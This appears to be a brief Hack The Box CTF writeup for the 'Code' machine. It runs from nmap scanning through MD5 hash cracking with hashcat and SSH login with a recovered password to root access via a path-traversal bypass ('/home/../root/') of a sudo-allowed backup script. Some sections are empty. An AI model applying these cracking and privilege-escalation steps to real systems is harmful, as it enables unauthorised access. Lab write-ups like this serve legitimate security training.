// htb writeup Hack The Box 2026-02-25
Code
HackTheBox Easy Hack The Box
root obtained // PWNED

HTB Writeup: Code

image (7)

🧪 Machine Name: Code

Platform: Hack The Box
IP Address: 10.10.11.62
Difficulty: Easy Linux


🧭 Overview

The Code box presents a realistic challenge involving password cracking, SQL exploration, path traversal, and privilege escalation through creative abuse of a flawed backup script (backy.sh). The key flow is:


🔍 Enumeration

🔎 Nmap

nmap -p- 10.10.11.62 --min-rate 10000
nmap -p 22,5000 10.10.11.62 -sCV -oN nmapscan

Open ports: 22/SSH, 5000/HTTP (Gunicorn) → Python code editor on web.

🔍 Web Recon

759b74ce43947f5f4c91aeddc3e5bad3 → development
3de6f30c4a09c27fc71932bfc68474be → nafeelswordsmaster
hashcat -m 0 hash.txt rockyou.txt

🔍 User Access

ssh martin@10.10.11.62
Password: nafeelswordsmaster

Found: /home/app-production/app, user.txt, and task.json


⚔️ Privilege Escalation

Sudo NOPASSWD:

sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh

Path Traversal to /root

The backy.sh script filters ../ but not equivalent sequences:

"directories_to_archive": [
    "/home/../root/"
]
sudo backy.sh hi.json
tar -xvjf code_home_.._root_2025_June.tar.bz2
cat root/root.txt

Final Root SSH Access

ssh root@10.10.11.62 -i id_rsa

🧠 Lessons Learned


Writeup by inksec
GitHub: [https://github.com/inkedqt]